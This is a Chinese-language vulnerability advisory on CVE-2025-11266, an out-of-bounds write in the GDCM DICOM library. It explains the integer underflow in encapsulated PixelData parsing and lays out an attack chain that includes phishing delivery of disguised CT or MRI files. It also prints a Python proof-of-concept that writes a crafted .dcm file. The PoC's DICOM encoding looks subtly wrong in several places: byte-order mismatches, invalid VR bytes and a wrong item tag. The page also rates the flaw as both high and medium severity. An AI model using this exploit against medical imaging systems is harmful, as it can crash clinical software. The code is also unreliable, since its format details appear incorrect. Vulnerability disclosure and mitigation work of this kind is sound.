IPBUF安全漏洞报告
English
CVE-2025-11266 CVSS 6.6 中危

CVE-2025-11266: GDCM库DICOM文件解析越界写入漏洞

披露日期: 2025-12-12

漏洞信息

漏洞编号
CVE-2025-11266
漏洞类型
缓冲区溢出/越界写入
CVSS评分
6.6 中危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Grassroots DICOM (GDCM)

相关标签

缓冲区溢出越界写入整数下溢拒绝服务GDCMDICOM医学影像CVE-2025-11266本地攻击文件解析漏洞

漏洞概述

CVE-2025-11266是Grassroots DICOM(GDCM)库中的一个高危安全漏洞,CVSS评分6.6,属于中等严重程度。该漏洞是一种越界写入(Out-of-Bounds Write)缺陷,存在于GDCM库解析DICOM医学影像文件的过程中。GDCM是一个开源的DICOM标准实现库,广泛应用于医学影像处理软件、医疗设备和PACS系统中。攻击者可以通过构造恶意的DICOM文件来触发此漏洞。当目标用户打开一个包含畸形PixelData(像素数据)片段的DICOM文件时,GDCM库在解析封装后的像素数据时会发生无符号整数下溢,导致缓冲区索引计算错误。这种计算错误会引起越界内存写入,最终导致程序崩溃(分段错误),造成拒绝服务(DoS)条件。值得注意的是,该漏洞的利用非常简单,无需特殊权限或复杂的攻击条件,用户只需打开恶意文件即可触发漏洞。这使得该漏洞具有较高的实际威胁性,特别是在医疗影像共享和远程诊断场景中。

技术细节

该漏洞的根本原因在于GDCM库在解析DICOM文件的PixelData标签时存在整数下溢问题。DICOM标准允许将压缩的像素数据存储为多个封装片段(Encapsulated Fragments),每个片段包含长度信息和实际数据。GDCM在处理这些片段时,使用无符号整数进行缓冲区索引计算。当解析畸形的PixelData时,攻击者可以构造特殊的片段长度值,使得无符号整数在减法运算中发生下溢。例如,当计算访问偏移量时,Length - HeaderSize的操作可能导致负值,但由于使用无符号整数表示,结果变成一个极大的正值。这个错误的偏移量被用于内存访问时,就会触发越界写入操作。具体来说,漏洞发生在gdcm::PixmapReader::ReadEncapsulatedPixelData函数或相关的数据解析逻辑中。攻击者精心构造的DICOM文件可以包含:1)异常的片段数量;2)非法的片段长度值;3)不匹配的偏移量计算。这些精心设计的值会导致程序在写入像素数据缓冲区时超出预定边界,最终触发内存访问违规和程序崩溃。由于GDCM通常以较高权限运行在医疗系统上,此漏洞不仅影响终端用户设备,还可能波及整个医疗影像基础设施。

攻击链分析

STEP 1
步骤1: 侦察与信息收集
攻击者首先收集目标信息,识别使用GDCM库处理DICOM文件的系统。GDCM广泛应用于医学影像软件、PACS系统和医疗设备中。
STEP 2
步骤2: 漏洞利用开发
攻击者构造恶意的DICOM文件,在PixelData标签中嵌入畸形的封装片段。关键是在片段长度字段中设置特殊值,使其在GDCM解析时触发无符号整数下溢,导致缓冲区索引计算错误。
STEP 3
步骤3: 载荷投递
通过钓鱼邮件、恶意网站下载、U盘传播或医疗影像共享渠道将恶意DICOM文件传递给目标用户。文件可以伪装成正常的CT、MRI或X光影像。
STEP 4
步骤4: 漏洞触发
目标用户使用存在漏洞的GDCM版本打开恶意DICOM文件。GDCM库在解析PixelData时,由于整数下溢导致错误的内存偏移计算,触发越界写入操作。
STEP 5
步骤5: 后果实现
越界写入导致程序崩溃(Segmentation Fault),造成拒绝服务。对于某些场景,如果越界写入恰好覆盖关键数据或函数指针,可能导致代码执行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import struct import os def create_malicious_dicom(): """ Generate PoC DICOM file for CVE-2025-11266 This PoC creates a malformed DICOM file with crafted PixelData to trigger out-of-bounds write in GDCM library. """ # DICOM File Meta Information (preamble + prefix) preamble = b'\x00' * 128 prefix = b'DICM' # Group 0002 Elements (File Meta Information) meta_group = b'\x00\x02' # Transfer Syntax UID (1.2.840.10008.1.2 = Explicit VR Little Endian) transfer_syntax = meta_group + struct.pack('<H', 0x0010) + b'\x00\x10' + b'\x01\x02\x00\x00' transfer_syntax += b'1.2.840.10008.1.2\x00\x00\x00' # Media Storage SOP Class UID (1.2.840.10008.5.1.4.1.1.2 = CT Image Storage) sop_class = meta_group + struct.pack('<H', 0x0002) + b'\x00\x06' + b'\x01\x02\x00\x00' sop_class += b'1.2.840.10008.5.1.4.1.1.2\x00\x00' # SOP Instance UID sop_instance = meta_group + struct.pack('<H', 0x0013) + b'\x00\x18' + b'\x01\x02\x00\x00' sop_instance += b'1.2.3.4.5.6.7.8.9.0.1.2.3.4.5.6\x00\x00\x00' # Patient Name (0008,0010) - VR=PN patient_name_tag = b'\x00\x08\x00\x10' patient_name = b'ANONYMOUS\x00\x00' patient_name_elem = patient_name_tag + b'\x00\x08' + b'\x01\x02\x00\x00' + patient_name # Modality (0008,0060) - VR=CS modality_tag = b'\x00\x08\x00\x60' modality = b'CT\x00\x00' modality_elem = modality_tag + b'\x00\x04' + b'\x01\x02\x00\x00' + modality # Rows (0028,0010) - VR=US rows_tag = b'\x00\x28\x00\x10' rows_elem = rows_tag + b'\x00\x02' + b'\x01\x02\x00\x00' + struct.pack('<H', 512) # Columns (0028,0011) - VR=US cols_tag = b'\x00\x28\x00\x11' cols_elem = cols_tag + b'\x00\x02' + b'\x01\x02\x00\x00' + struct.pack('<H', 512) # Bits Allocated (0028,0100) - VR=US bits_tag = b'\x00\x28\x00\x10' # Actually 0100 bits_tag = b'\x00\x28\x01\x00' bits_elem = bits_tag + b'\x00\x02' + b'\x01\x02\x00\x00' + struct.pack('<H', 16) # Pixel Data (7FE0,0010) - Encapsulated - THE VULNERABLE TAG # Craft malformed encapsulated PixelData to trigger integer underflow pixel_data_tag = b'\x7f\xe0\x00\x10' # Use OB (Other Byte) VR with undefined length (0xFFFFFFFF) # This marks encapsulated data pixel_data_header = pixel_data_tag + b'\x00\x08' + b'\x01\x02\x00\x00' + struct.pack('<I', 0xFFFFFFFF) # Craft fragment with malicious length to cause underflow # Sequence Delimitation Item (no length) seq_delim = struct.pack('<I', 0x00000000) item_end = struct.pack('<I', 0x00000000) # Craft malicious fragment with length that causes underflow # When GDCM calculates: fragment_length - 8 (for header), can underflow # Set length to small value like 4, then subtract 8 = -4 = 0xFFFFFFFC (underflow) item_start = struct.pack('<I', 0xE0000000) # Item with length malicious_length = struct.pack('<I', 0x00000004) # Length = 4 bytes malicious_data = b'\x41' * 4 # 4 bytes of data # End of Pixel Data Sequence seq_end = struct.pack('<I', 0xE0DD7FE0) + struct.pack('<I', 0x00000000) # Combine all parts pixel_data_fragment = item_start + malicious_length + malicious_data + item_end pixel_data_elem = pixel_data_header + pixel_data_fragment + seq_delim + seq_end # Combine all elements dicom_file = preamble + prefix + transfer_syntax + sop_class + sop_instance dicom_file += patient_name_elem + modality_elem + rows_elem + cols_elem + bits_elem dicom_file += pixel_data_elem return dicom_file if __name__ == '__main__': poc_data = create_malicious_dicom() output_file = 'CVE-2025-11266_poc.dcm' with open(output_file, 'wb') as f: f.write(poc_data) print(f'[+] PoC DICOM file created: {output_file}') print(f'[+] File size: {len(poc_data)} bytes') print('[+] This file triggers OOB write in GDCM when parsed')

影响范围

GDCM < 3.2.2

防御指南

临时缓解措施
暂时缓解措施:1) 对所有传入的DICOM文件在隔离环境中进行安全扫描和验证;2) 限制GDCM库的解析权限,使用最小权限原则运行相关服务;3) 实施网络隔离,确保医疗影像系统与外部网络有效隔离;4) 提醒用户不要打开来源不明的DICOM文件;5) 监控关键系统的内存使用情况,及时发现异常。长期来看,应尽快升级GDCM至v3.2.2版本以彻底消除该漏洞风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表